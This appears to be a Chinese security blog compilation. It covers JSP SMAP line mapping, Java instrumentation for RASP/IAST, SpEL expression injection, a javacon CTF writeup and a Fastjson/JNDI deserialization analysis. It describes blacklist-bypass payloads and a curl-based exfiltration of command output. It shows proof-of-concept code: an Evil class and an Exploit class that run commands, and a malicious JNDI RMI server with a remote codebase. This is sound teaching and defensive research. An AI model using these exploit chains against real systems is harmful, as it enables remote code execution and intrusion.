这个过程,调用了SmapUtil将上面那些nodes转换成Java源文件,然后调用JDTCompiler工具类,将Java源文件编译成.class文件,Tomcat调用的是org.eclipse.jdt.internal.compiler.*包下面的编译工具,实际上JDK也为我们提供了自己手动编译Java文件的方法,JDK 1.6可以用javax.tools.JavaCompiler

两种定位方法

1.Node.Nodes

实际上在使用Tomcat跑jsp时,我们可以通过抛出一个异常来查看,它其实已经为我们定位了jsp文件的位置。
屏幕快照 2019-07-04 上午10.33.23
在调试tomcat源码我们可以跟进到createJavacError这个方法
屏幕快照 2019-07-07 下午1.54.22
可以看到它主要是获取了编译流程中的Node.Nodes parsedPage对象,然后获取jsp行号进行对应的操作。因为这种获取方法是在编译中进行的,所以我们没办法使用插桩的方法在编译完成后获取到对应关系,也不方便从编译开始就保存所有的node,所以此处细节不详细介绍。

2.SMAP

在一些IDE中debug时可以发现也同样为我们定位好了jsp文件

而它实现的原理主要是通过解析SMAP来完成的,SMAP信息默认会保存在编译后生成的class文件中,所以接下来会主要介绍SMAP的相关内容。

JSR-45规范

JSR-45(Debugging Support for Other Languages)为那些非JAVA语言写成,却需要编译成JAVA代码,运行在JVM中的程序,提供了一个进行调试的标准机制。
JSR-45是这样规定的:JSP被编译成JAVA代码时,同时生成一份JSP文件名和行号与JAVA行号之间的对应表(SMAP)。JVM在接受到调试客户端请求后,可以根据这个对应表(SMAP),从JSP的行号转换到JAVA代码的行号;JVM发出事件通知前, 也根据对应表(SMAP)进行转化,直接将JSP的文件名和行号通知调试客户端。

SMAP

根据JSR-45规范我们可以知道SMAP为jsp文件和java文件行号之间的对应表,在调试中会用于获取对应关系。
在Tomcat中对于jsp引擎的配置中有这样的两个参数

  • dumpSmap JSR45 调试的 SMAP 信息是否应转储到一个文件?布尔值,默认为 false。如果 suppressSmap 为 true,则该参数值为 false。
  • suppressSmap 是否禁止 JSR45 调试时生成的 SMAP 信息?true 或 false,缺省为 false。

对于其他容器,如jetty,Glassfish等一样遵守JSR-45规范,拥有关于SMAP上述两个属性配置。其中dumpSmap用于生成一个专门的SMAP文件,如XXX_jsp.class.smap。而suppressSmap默认配置为false即默认会生成SMAP信息在class文件中,我们可以通过 UltraEdit打开生成的Class文件就可以找到SourceDebugExtension属性,这个属性用来保存SMAP。
或者我们也可以直接使用

来查看反编译后的附加信息
屏幕快照 2019-07-07 下午4.05.05
首先注明JAVA代码的名称:index_jsp.java,然后是 stratum 名称:JSP。随后是JSP文件的名称 :index.jsp。最后也是最重要的内容就是源文件文件名/行号和目标文件行号的对应关系(*L 与 *E之间的部分)

在规范定义了这样的格式:

源文件行号(InputStartLine) 目标文件开始行号(OutputStartLine) 是必须的。
屏幕快照 2019-07-07 下午4.31.15

详细的SMAP语法和映射规则等信息 可以去https://download.oracle.com/otndocs/jcp/dsol-1.0-fr-spec-oth-JSpec/ 下载JSR-45文档查看

ASM示例

ASM方式获取SMAP
1.ClassNode

2.visitSource

从visitSource中获取debug信息

屏幕快照 2019-07-07 下午5.39.59
接下来主要就是对SMAP的解析,然后根据编译后的行号定位jsp行号。
网上已经有一些开源的对SMAP解析比较好的项目,可以使用:https://github.com/ikysil/sourcemap
我们定义一个SmapInfo用来存放jsp信息与行号,定位行号时我们用解析后的stratum与生成的java文件行号来计算出jsp行号,最终生成一个SmapInfo。

写了个demo测试获取生成java文件的187行所对应jsp行号
屏幕快照 2019-07-08 上午11.37.43
可以看到获取正确
屏幕快照 2019-07-08 上午11.39.11

替换StackTrace思路

通过StackTrace中java代码行号定位jsp代码行号,同时替换StackTrace的思路大致如下
smap-4
首先jsp生成的类进入后将其SMAP信息解析为stratum并将其和className放入一个全局的map中。之后对trace的触发结束增加操作,首先判断栈里面的className是否和map中相同,如果相同则获取stratum,然后用栈中的行号与stratum中对应生成一个smapInfo(有jsp文件信息和具体行号),最后将当前栈替换为新生成的栈,其他信息不变,用smapInfo内容将文件名和行号等信息替换,即替换为jsp的文件名与行号等信息。

参考

https://blog.csdn.net/zollty/article/details/86138507
https://www.ibm.com/developerworks/cn/opensource/os-jspdebug/index.html
https://jcp.org/en/jsr/detail?id=45

插桩技术在Java安全中的应用简述

介绍

随着信息技术的发展,软件开发技术呈多样性发展趋势,其中Java在开发领域具有一定代表性。软件效率的提高同时增大了漏洞发现与防御的挑战。在当前WAF与静态代码检测都发展迅速的情况下,WAF在一些特殊情况下可能无法正确拦截,而静态检测的缺点在于误报率高。因此需要进行动态交互式监测,由此可以从底层对于攻击向量进行检测或者验证程序中是否实际存在安全漏洞。

插桩技术是在保证目标程序原有逻辑完整的情况下,在特定的位置插入代码段,从而收集程序运行时的动态上下文信息。

目前基于插桩技术实现Java程序的动态交互安全监测已经有一些实现形式,如RASP,IAST。在Java中插桩通过Instrument以及字节码操作工具(如:ASM,Javassist,Byte Buddy等)实现。接下来会简要介绍该技术以及相关知识内容。

相关知识

Instrument

Java SE 5引入了一个静态Instrument的概念,利用它我们可以构建一个独立于应用程序的代理程序(Agent),用来监测和协助运行在JVM上的程序,可以在程序启动前修改类的定义。这样的特性实际上提供了一种虚拟机级别支持的AOP实现方式,使得开发者无需对应用程序做任何升级和改动,就可以实现某些AOP的功能了。
在应用启动时,通过-javaagent参数来指定一个代理程序。
详细介绍见:https://www.ibm.com/developerworks/cn/java/j-lo-jse61/

Java Instrument工作原理

javaagent
00218c2023a2ba140887543f88a4fd99

  1. 在JVM启动时,通过JVM参数-javaagent,传入agent jar,Instrument Agent被加载,调用其Agent_OnLoad函数;
  2. 在Instrument Agent 初始化时,注册了JVMTI初始化函数eventHandlerVMinit;
  3. 在JVM启动时,会调用初始化函数eventHandlerVMinit,启动了Instrument Agent;
  4. 用sun.instrument.instrumentationImpl类里的方法loadClassAndCallPremain方法去初始化Premain-Class指定类的premain方法。初始化函数eventHandlerVMinit,注册了class解析的ClassFileLoadHook函数;
  5. 调用应用程序的main开始执行,准备解析;
  6. 在解析Class之前,JVM调用JVMTI的ClassFileLoadHook函数,钩子函数调用sun.instrument.instrumentationImpl类里的transform方法,通过TransformerManager的transformer方法最终调用我们自定义的Transformer类的transform方法;
  7. 因为字节码在解析Class之前改的,直接使用修改后的字节码的数据流替代,最后进入Class解析,对整个Class解析无影响;
  8. 重新加载Class依然重新走6-7步骤;

Java字节码操作工具

BCEL
这是Apache Software Fundation的jakarta项目的一部分。BCEL它可以让你深入JVM汇编语言进行类的操作的细节。
ASM
是一个轻量及java字节码操作框架,直接涉及到JVM底层的操作和指令,性能高,功能丰富。
Javassist
是一个开源的分析、编辑和创建java字节码的类库。性能消耗较⼤大,使⽤用容易。
Byte Buddy
是一个字节码生成与操作库,操作起来更简单。

示例

通过插桩获取SpEL执行中表达式的值(使用Byte Buddy)
Agent:

Interceptor:

程序运行时配置

效果:
屏幕快照 2019-03-12 下午12.39.35

应用

RASP

RASP(Runtime application self-protection)运行时应用自我保护,RSAP将自身注入到应用程序中,与应用程序融为一体,实时监测、阻断攻击,使程序自身拥有自保护的能力。并且应用程序无需在编码时进行任何的修改,只需进行简单的配置即可。
7195ace984937ccbddc171ece82e237e
可见百度开源的OpenRASP(https://rasp.baidu.com)
check

IAST

IAST(Interactive Application Security Testing)交互式应用安全测试,是一种灰盒测试技术。结合SAST和DAST的优点,在模拟黑客外部攻击的同时,对内部实时数据进行监视,提高测试精度。
两种模式
1.Active IAST (主动型)
一个组件产生恶意攻击流程,另一个组件在运行时监视应用。由此来达到漏洞定位以及减少误报。即RASP Agent + DAST = IAST
图片3
可以参见Burpsuite的infiltrator(https://portswigger.net/burp/documentation/infiltrator)
屏幕快照 2019-03-11 下午6.05.33

2.Passive IAST (被动型)
在运行时监视应用并分析代码,它不会主动对Web应用程序执行攻击,而是纯粹被动地分析检测代码。这实际上是一个巨大的优势,因为它不会影响同时运行的其他测试活动,并且只需要业务测试(手动或自动)来触发安全测试。
iast-architecture

IAST如何分析
IAST类似于APM,使用安全传感器来检测应用程序和API。安全相关事件由传感器直接在正在运行的应用程序进行监测,并传递给分析引擎,分析引擎汇总这些事件并识别代码执行的易受攻击程度。
IAST传感器创建了一系列与安全相关的事件,并这些事件提供给分析引擎。该引擎可以执行各种规则。
10934490-image1

In effect, IAST establishes guardrails for a program. If the stream of telemetry from the sensors indicates that the behavior of the program has violated one of these guardrails, it is reported as a vulnerability.

总结

插桩技术可以很好的用于交互式应用检测与程序运行时的自我保护,它通过Java探针达到可以在执行代码底层分析上下文环境的能力。随着计算机各个方面性能的整体提高,也已成为当前安全监测中值得研究的一个方向。
10934497-picture3

参考

http://blog.nsfocus.net/rasp-tech/
http://kns.cnki.net/KCMS/detail/detail.aspx?dbcode=CMFD&filename=1014026901.nh
http://ouyblog.com/2019/03/基于Java-Agent与Javassist实现零侵入AOP
https://www.jianshu.com/p/9f4e8dcb3e2f
https://github.com/gyyyy/footprint/blob/f0f811fe2302df8cca9a151660f9d96d4b030784/articles/2018/application-security-testing-cheatsheet.md
http://www.zjtbzx.gov.cn/html/2018/08/31/9744bdb6-cea3-4c51-aa7b-aa76ea647bfa.htm
https://blog.secodis.com/2015/11/26/the-emerge-of-iast/
http://sectooladdict.blogspot.com/2017/05/dast-vs-sast-vs-iast-modern-ssldc-best.html
https://dzone.com/refcardz/introduction-to-iast?chapter=1

由浅入深SpEL表达式注入漏洞

SpEL介绍

认识SpEL

Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中。
Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEl可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。除此以外SpEL还能做的有很多,从官方文档中我们可以看到,SpEL支持以下功能。

  • Literal expressions
  • Boolean and relational operators
  • Regular expressions
  • Class expressions
  • Accessing properties, arrays, lists, maps
  • Method invocation
  • Relational operators
  • Assignment
  • Calling constructors
  • Bean references
  • Array construction
  • Inline lists
  • Ternary operator
  • Variables
  • User defined functions
  • Collection projection
  • Collection selection
  • Templated expressions

基础用法以及使用场景

上方功能中加粗的几项是我们在其表达式安全中重点学习的地方,我们首先来看SpEL的常见用法,然后会依次介绍其中几项功能的基本用法,以及在部分框架中SpEl的使用位置。

1.SpEL API

这里使用了SpEL API来评估文字字符串表达式“Hello World”。我们通常用该方式来测试或者使用SpEL表达式。
其中接口ExpressionParser负责解析表达式字符串。在这个例子中,表达式字符串是由周围的单引号表示的字符串文字。之后接口Expression负责评估以前定义的表达式字符串。
所以说上述代码含义为首先创建ExpressionParser解析表达式,之后放置表达式,最后通过getValue方法执行表达式,默认容器是spring本身的容器:ApplicationContext

2.SpEL语法

SpEL使用 #{...} 作为定界符,所有在大括号中的字符都将被认为是 SpEL表达式,我们可以在其中使用运算符,变量以及引用bean,属性和方法如:

引用其他对象:#{car}
引用其他对象的属性:#{car.brand}
调用其它方法 , 还可以链式操作:#{car.toString()}

其中属性名称引用还可以用$符号 如:${someProperty}
除此以外在SpEL中,使用T()运算符会调用类作用域的方法和常量。例如,在SpEL中使用Java的Math类,我们可以像下面的示例这样使用T()运算符:

T()运算符的结果会返回一个java.lang.Math类对象。

具体常见表达式用法会在4.功能用法示例中给出。

3.SpEL在bean定义中

  1. XML配置
  2. 基于注解的使用

4.功能用法示例

Class expressions
1.类类型表达式
SpEL中可以使用特定的Java类型,经常用来访问Java类型中的静态属性或静态方法,需要用T()操作符进行声明。括号中需要包含类名的全限定名,也就是包名加上类名。唯一例外的是,SpEL内置了java.lang包下的类声明,也就是说java.lang.String可以通过T(String)访问,而不需要使用全限定名。
因此我们通过 T() 调用一个类的静态方法,它将返回一个 Class Object,然后再调用相应的方法或属性:
如:

成功弹出计算器
2.类实例化
使用new可以直接在SpEL中创建实例,需要创建实例的类要通过全限定名进行访问。
如:

Method invocation
方法使用典型的Java编程语法来调用。
如:

Calling constructors
可以使用new调用构造函数。除了基元类型和字符串(其中可以使用int、float等)之外,所有的类都应该使用完全限定的类名。
如:

Bean references
如果解析上下文已经配置,则可以使用@符号从表达式中查找bean。

Variables
变量定义通过EvaluationContext接口的setVariable(variableName, value)方法定义;在表达式中使用#variableName引用;除了引用自定义变量,SpEL还允许引用根对象及当前上下文对象,使用#root引用根对象,使用#this引用当前上下文对象。
如:

在SpEL中比较常见的用途是针对一个特定的对象实例(称为root object)提供被解析的表达式字符串,当我们把contextroot object设置为一个对象时,我们在取的时候可以省略root对象这个前缀了。如下:
首先定义一个类

设置root object后SpEL执行以及结果如下

这里在执行表达式时,SpEL会在内部使用反射从根对象中获取/设置属性的值。

User defined functions
用户可以在SpEL注册自定义的方法,将该方法注册到StandardEvaluationContext 中的registerFunction(String name, Method m)方法。
如:
我们通过JAVA提供的接口实现字符串反转的方法。

我们可以通过如下代码将方法注册到StandardEvaluationContext并且来使用它。

Templated expressions
表达式模板允许文字文本与一个或多个解析块的混合。 你可以每个解析块分隔前缀和后缀的字符。当然,常见的选择是使用#{}作为分隔符。
如:

该字符串是通过连接文字”random number is”与 计算表达式的#{}定界符获取的结果,在此情况下的结果 中调用一个随机()方法。第二个参数的方法parseExpression() 是类型ParserContext的。在ParserContext接口用于影响如何 表达被解析,以便支持所述表达模板的功能。的TemplateParserContext的定义如下所示。

更多细节可查看官方文档

SpEL导致的任意命令执行

漏洞原因

从上方功能的类类型表达式示例中,我们可以看到成功执行了系统的命令,而这也就是整个SpEL安全中造成RCE漏洞的区域。因为在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行。
屏幕快照 2019-01-17 下午10.06.09

其中容易造成漏洞的两个位置是
1.针对一个特定的对象实例提供被解析的表达式字符串
如之前用法示例中Variables所介绍,可能造成指定属性名被构造成恶意代码
2.双重EL表达式评估
如:

这个很明显通过两次EL表达式执行后,如果可以控制传入的directoryNameForPopup参数为恶意代码就会造成漏洞发生

我们可以再看下SpEL提供的两个EvaluationContext的区别。
(EvaluationContext评估表达式以解析属性,方法或字段并帮助执行类型转换时使用该接口。有两个开箱即用的实现。)

  • SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集。
  • StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。

SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集。它不包括 Java类型引用,构造函数和bean引用。

所以说指定正确EvaluationContext,是防止SpEl表达式注入漏洞产生的首选,之前出现过相关的SpEL表达式注入漏洞,其修复方式就是使用SimpleEvaluationContext替代StandardEvaluationContext

常用payload

关键字黑名单过滤绕过:
可以参考之前Code-Breaking Puzzles — javacon的这道题目(writeup http://rui0.cn/archives/1015 ),主要通过正则匹配java关键词(如:java.+lang exec.*\(等)来防御,其绕过方式有两种 如下:

  1. 利用反射构造
  2. 利用ScriptEngineManager构造

在Nuxeo RCE中也有个黑名单绕过,因为它过滤了.getClass(
所以采取的姿势是通过SpEL语法的集合选择绕过,payload如下。具体分析可见(http://www.polaris-lab.com/index.php/archives/613

除此以外当执行的系统命令被过滤或者被URL编码掉时我们可以通过String类动态生成字符
如要执行的命令为open /Applications/Calculator.app我们可以采用new java.lang.String(new byte[]{<ascii value>,<ascii value>,...})或者concat(T(java.lang.Character).toString(<ascii value>))嵌套来绕过
两种构造方式的python脚本如下:

加工一下即为

成功执行
屏幕快照 2019-01-17 下午11.41.33

其次如果有输出点需要回显可以使用

[更新-2019.4.14]因为JAVA9新增了JShell,所以我们也可以利用这个功能执行命令 @sagar38 from Twitter

漏洞案例分析

SpringBoot SpEL表达式注入漏洞

影响版本:
1.1.0-1.1.12
1.2.0-1.2.7
1.3.0

首先搭建存在漏洞版本的SpringBoot,创建一个controller并抛出异常
只要在异常信息中包含SpEL表达式即可注入

请求地址

可以看到成功输出
屏幕快照 2019-01-18 下午5.22.29
其造成的原因主要是在ErrorMvcAutoConfiguration.java中的SpelView

该类调用处为

可以知道SpelView主要是为了解析Whitelabel Error Page模板页面去填充其中的相关数据
SpelView中,首先我们可以观察到其使用了StandardEvaluationContext

之后

用于递归解析在${...}中的表达式,也就是这里导致SpEl表达式注入并执行。其中用到SpEl表达式解析执行的目的主要是为了从当前contextrootObject取相关数据 如timestamp(上方功能用法示例中-> Variables 中介绍过)
屏幕快照 2019-01-18 下午7.10.45

大致流程为PropertyPlaceholderHelper类中通过parseStringValue方法递归字符串找到目标去掉 $(),这个方法中调用resolvePlaceholder方法来在context中找到对应的name,并在这里执行了getValue操作。由此造成命令执行。代码如下。

其核心思想就是在递归中从context下的message中取出需要再次递归解析的$(payload),由此来在下一次的解析后去掉$()并把其中payload当作传入的name参数来执行getValue操作。
屏幕快照 2019-01-18 下午7.25.45

其补丁是创建了一个新的NonRecursivePropertyPlaceholderHelper类,来防止递归解析路径中或者名字中含有的表达式。
详见: https://github.com/spring-projects/spring-boot/commit/edb16a13ee33e62b046730a47843cb5dc92054e6

Spring Data Commons远程代码执行漏洞(CVE-2018-1273)

影响版本:
1.13-1.13.10
2.0-2.0.5

漏洞主要因为是在自动解析用户的参数的时候采用了SpEL去解析propertyName
我们直接从补丁看漏洞代码是位于MapPropertyAccessor类的setPropertyValue方法
屏幕快照 2019-01-18 下午8.01.45
可以看到这是很直接的之前错误的使用了StandardEvaluationContext造成的RCE,修复方式也是主要通过替换为SimpleEvaluationContext完成。
漏洞形成的原因就是当用户在开发中利用了Spring-data-commons中的特性对用户的输入参数进行自动匹配时候,会将用户提交的form表单中的参数名作为SpEL执行。
漏洞代码:

开发者使用如下代码:

其流程简单上说就是在获取POST过来的参数时候因为要自动绑定进入实体类,所以首先要通过isWritableProperty中调用的getPropertyPath来判断参数名。如:传来的username参数是否是开发者controller中接收的UserForm实体类里的一个属性名。然后把用户传入的参数key即propertyName进行PARSER.parseExpression(propertyName),最后setValue(context,value)触发了恶意代码。(上方功能用法示例中-> Variables 中介绍过)
细节如果需要了解可以自己调试一下。
payload:

屏幕快照 2019-01-22 上午12.32.05
setValue(context,value)时候会把propertyName内的username作为一个集合,利用了SpEL集合选择的功能,所以就会执行中括号里面的SpEL表达式了。
屏幕快照 2019-01-20 下午12.19.44

防御方式

因为SpEL表达式注入漏洞导致攻击者可以通过表达式执行精心构造的任意代码,导致命令执行。为了防御该类漏洞,Spring官方推出了SimpleEvaluationContext作为安全类来防御该类漏洞。
官方文档:https://docs.spring.io/spring/docs/5.0.6.RELEASE/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html
常见用法:

总结

经过常见用法以及几个案例分析,我们可以知道,事实上在一般的开发后台过程中我们基本不会写出这样的漏洞点,一般就是通过注解或者XML用其Bean以及上下文中变量的存取功能。而出现漏洞的位置基本有两种,一是相关框架中在需要用一种通用的方法获取或者设置某对象中指定属性名的属性值的时候,也可以说使用SpEL的地方往往就是需要利用它内部使用反射的这个特点,从而可以省去我们编写的麻烦,来达到一些目的。二是在双重EL表达式评估中发生。发现该漏洞可以通过这些关键触发方法或者类如getValueStandardEvaluationContext等,当然也可以通过find-sec-bug这个插件来寻找。其防御方式是使用SimpleEvaluationContext来禁用其敏感的功能,从而阻止表达式注入执行问题的出现。

参考

https://docs.spring.io/spring/docs/3.0.x/reference/expressions.html
http://www.polaris-lab.com/index.php/archives/613/
https://m.habr.com/company/dsec/blog/433034/
http://blog.nsfocus.net/spel-vulnerability-technical-analysis-and-protection-scheme/
http://deadpool.sh/2017/RCE-Springs/
https://2018.zeronights.ru/wp-content/uploads/materials/10%20ZN2018%20WV%20-%20Spel%20injection%20.pdf
https://www.freebuf.com/vuls/172984.html
http://xxlegend.com/2018/04/12/CVE-2018-1273-%20RCE%20with%20Spring%20Data%20Commons%20分析报告/
https://www.secpulse.com/archives/75930.html

Code-Breaking Puzzles — javacon WriteUp

刷微博正好看到P神的活动,学习了。

简单记录下jar分析一般步骤:
源码下载后,JD-GUI反编译,或者到IDEA中放进lib便可以查看反编译class源码。
如果需要调试,IDEA打断点后,配置Remote如下
屏幕快照 2018-11-25 下午6.31.18

命令启动

再点击IDEA右上角的DEBUG即可。

程序结构:
屏幕快照 2018-11-25 下午6.34.08

首先我们可以从SpringBoot的配置 application.yml看起

主要就是一个黑名单,一个用户的提供。

其他文件 :
SmallEvaluationContext 继承 StandardEvaluationContext,主要是提供一个上下文环境,相当于一个容器。
ChallengeApplication 用于启动
Encryptor 加密解密工具类
KeyworkProperties 使用黑名单时需要
UserConfig 用户模型,可以看到在RemberMe时使用了Encryptor

主要看MainController
屏幕快照 2018-11-25 下午6.41.24

我们从登录看起

判断用户名密码,如果勾选了remberMe则浏览器存入加密后的cookie。
最后跳转hello.html

屏幕快照 2018-11-25 下午6.45.23

打开页面后其中比较敏感的一个操作就是对Cookie的处理,如下

程序判断rememberMeValue存在后,直接对其进行解密,然后将其setAttribute,接下来可以看到this.getAdvanceValue(username.toString())
我们来看这个方法。

其实就是与其跟黑名单做正则匹配,如果匹配成功则抛出HttpStatus.FORBIDDEN,如果没有匹配到则进行正常流程,在SmallEvaluationContext进行SpEL表达式解析。注意,这里就存在El表达式注入的问题了。
在JAVA中我们可以通过

来执行命令,但在这个题目中使用了黑名单。
所以这里我们需要使用反射来构造一条调用链,这样就可以在关键字处使用字符串拼接来达到绕过黑名单的效果。
不熟悉反射的小伙伴可以先学习一下,这里我直接给出POC 还有一些注意的点。

我们选择利用curl来配合执行命令,所以如下,字符串拼接很好理解,很容易绕过了正则匹配。

运行一下,可以看到我们成功接受到了请求。
屏幕快照 2018-11-25 下午7.04.58

接下来我们需要将其构造为SpEl的解析格式,主要就是改一个T() 。在SpEL中,使用T()运算符会调用类作用域的方法和常量。
需要注意的一个点,在JAVA中Runtime中exec对复杂一点的linux命令执行不了…我们需要将其参数改成如下才可以

所以我们构造如下POC 来执行命令并获取结果,这里一个小技巧就是使用base64来传数据。

获取目录
之后cat flag,如下,再像上面一样加密后存入cookie中即可。

屏幕快照 2018-11-25 下午6.44.00
屏幕快照 2018-11-25 下午6.17.31
屏幕快照 2018-11-25 下午6.17.42

最后,师傅们Tql,感谢p神的题目。
屏幕快照 2018-11-25 下午6.33.22

探秘Java反序列化漏洞四:Fastjson反序列化漏洞分析

json序列化反序列化是通过将对象转换成json字符串和其逆过程,Fastjson是一个由阿里巴巴维护的一个json库。它采用一种“假定有序快速匹配”的算法,是号称Java中最快的json库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景
通过之前的反序列化漏洞学习我们知道,挖掘其漏洞核心思想就是找到应用,组件或者方法中的反序列化操作,如果其没有进行有效合法的判断或者其黑名单不够全,那么我们就可以通过利用JDK中固有类的方法组合来构造出一条攻击链,从而在其反序列化过程中成功唤醒我们的攻击链来达到任意代码执行
关于Fastjson反序列化漏洞的POC我也在网上看了许多文章学习,在此还是要感谢各位大佬的分享。在其中我选择了一种相对容易的基于JdbcRowSetImpl调用链来进行本次的分析

快速入门Fastjson

首先让我们了解一下Fastjson的基本使用方式
其常用方法主要是通过toJSONString方法来序列化,parseparseObject方法反序列化,

public class User {
    private String name;
    private int age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

public class Test {
    public static void main(String[] args) {
        Map<String, Object> map = new HashMap<String, Object>();
        map.put("key1","One");
        map.put("key2", "Two");
        String mapJson = JSON.toJSONString(map);
        System.out.println(mapJson);

        User user1 = new User();
        user1.setName("test");
        user1.setAge(1);
        System.out.println("obj name:"+user1.getClass().getName());

        //序列化
        String serializedStr = JSON.toJSONString(user1);
        System.out.println("serializedStr="+serializedStr);

        String serializedStr1 = JSON.toJSONString(user1, SerializerFeature.WriteClassName);
        System.out.println("serializedStr1="+serializedStr1);

        //通过parse方法进行反序列化
        User user2 = (User)JSON.parse(serializedStr1);
        System.out.println(user2.getName());
        System.out.println();

        //通过parseObject方法进行反序列化  通过这种方法返回的是一个JSONObject
        Object obj = JSON.parseObject(serializedStr1);
        System.out.println(obj);
        System.out.println("obj name:"+obj.getClass().getName()+"\n");

        //通过这种方式返回的是一个相应的类对象
        Object obj1 = JSON.parseObject(serializedStr1,Object.class);
        System.out.println(obj1);
        System.out.println("obj1 name:"+obj1.getClass().getName());
    }
}

运行结果

{"key2":"Two","key1":"One"}
obj name:test.User
serializedStr={"age":1,"name":"test"}
serializedStr1={"@type":"test.User","age":1,"name":"test"}
test

{"name":"test","age":1}
obj name:com.alibaba.fastjson.JSONObject

test.User@31900174
obj1 name:test.User

可以看到当我们通过使用SerializerFeature.WriteClassName时会在序列化中写入当前的type,@type可以指定反序列化任意类,调用其set,get,is方法。在读取中我们可以通过设置指定的object来返回相应对象

Fastjson反序列化流程

JdbcRowSetImpl_1
上图是反序列化框架图,其中反序列化用到的JavaBeanDeserializer则是JavaBean反序列化处理主类
首先程序会根据Lexer词法分析来处理字符
屏幕快照 2018-07-13 下午12.04.02
之后在parseObject方法中

ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;

ObjectDeserializer接口进入JavaBeanDeserializer类中的deserialze实现方法完成反序列化操作。其中执行具体方法见其框架图

所以我们简单构造一个模拟流程
创建实体类

public class Evil {
    public String name;
    private int age;
    public Evil() throws IOException {
        Runtime.getRuntime().exec("open /Applications/Calculator.app");
    }
    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }
}

反序列化操作

public class App {
    public static void main(String[] args) {
        Object obj = JSON.parseObject("{\"@type\":\"test.Evil\", \"name\":\"test\",\"age\":\"18\"}");
        System.out.println(obj);
    }
}

执行结果
屏幕快照 2018-07-13 下午3.37.21
可以看到在反序列化的过程中调用了我们的无参构造方法,以及get,set方法

JNDI

JNDI(The Java Naming and Directory Interface,Java 命名和目录接口) 是一组在Java 应用中访问命名和目录服务的API。为开发人员提供了查找和访问各种命名和目录服务的通用、统一的方式。借助于JNDI 提供的接口,能够通过名字定位用户、机器、网络、对象服务等。

Java Naming

命名服务是一种键值对的绑定,是应用程序可以通过键检索值

Java Directory:

目录服务是命名服务的自然扩展。两者之间的关键差别是目录服务中对象可以有属性(例如,用户有email地址),而命名服务中对象没有属性。因此,在目录服务中,你可以根据属性搜索对象。JNDI允许你访问文件系统中的文件,定位远程RMI注册的对象,访问象LDAP这样的目录服务,定位网络上的EJB组件

简单来说JNDI就是一组API接口。每一个对象都有一组唯一的键值绑定,将名字和对象绑定,可以通过名字检索对象(object),对象可能存储在rmi,ldap,CORBA等等。在JNDI中提供了绑定和查找的方法,JNDI将name和object绑定在了一起,在这基础上提供了lookup,search功能

1、void bind( String name , Object object ) //将名称绑定到对象
2、Object lookup( String name ) //通过名字检索执行的对象

下面是一个小demo
首先我们一个远程接口

//远程接口
public interface RmiSample extends Remote {
    public  int sum(int a,int b) throws RemoteException;

}

以及其实现

public class RmiSampleImpl extends UnicastRemoteObject implements RmiSample{
    //覆盖默认构造函数并抛出RemoteException
    public RmiSampleImpl() throws  RemoteException{
        super();
    }
    //所有远程实现方法必须抛出RemoteException
    public int sum(int a,int b) throws  RemoteException{
        return a+b;
    }
}

建立Server

public class RmiSampleServerJndi {
    public  static void main(String[] args) throws Exception{

        LocateRegistry.createRegistry(8808);
        RmiSampleImpl  server=new RmiSampleImpl();
        System.setProperty(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
        System.setProperty(Context.PROVIDER_URL,"rmi://localhost:8808");
        InitialContext ctx=new InitialContext();
        ctx.bind("java:comp/env/SampleDemo",server);
        ctx.close();

    }
}

以及客户端

public class RmiSampleClientJndi {
    public static void main(String[] args) throws Exception
    {
        System.setProperty(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
        System.setProperty(Context.PROVIDER_URL,"rmi://localhost:8808");
        InitialContext ctx=new InitialContext();
        String url =  "java:comp/env/SampleDemo";
        RmiSample RmiObject  = (RmiSample)ctx.lookup(url);
        System.out.println("  1 + 2 = " + RmiObject.sum(1,2) );

    }
}

首先启动服务端,接着客户端连接
屏幕快照 2018-07-13 下午4.06.57
最终输出调用结果
屏幕快照 2018-07-13 下午4.11.19

JNDI Naming Reference

java为了将object对象存储在Naming或者Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming和Directory服务下,比如(rmi,ldap等)

JNDI注入

JNDI注入产生的原因可以归结到以下4点

1、lookup参数可控。
2、InitialContext类及他的子类的lookup方法允许动态协议转换
3、lookup查找的对象是Reference类型及其子类
4、当远程调用类的时候默认会在rmi服务器中的classpath中查找,如果不存在就会去url地址去加载类。如果都加载不到就会失败。

POC

public class JNDIServer {
    public static void start() throws
            AlreadyBoundException, RemoteException, NamingException {
        //在本机1099端口开启rmi registry
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("Exloit",
                "Exploit","http://127.0.0.1:8088/");
        //第二个参数指定 Object Factory 的类名 第三个参数是codebase 如果Object Factory在classpath 里面找不到则去codebase下载
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit",referenceWrapper);

    }
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        start();
    }
}

这里可以知道,当我们远程连接时它会先在classpath中找,如果没有会在我们指定的地址中去加载去实现factory的初始化

public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("open /Applications/Calculator.app");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

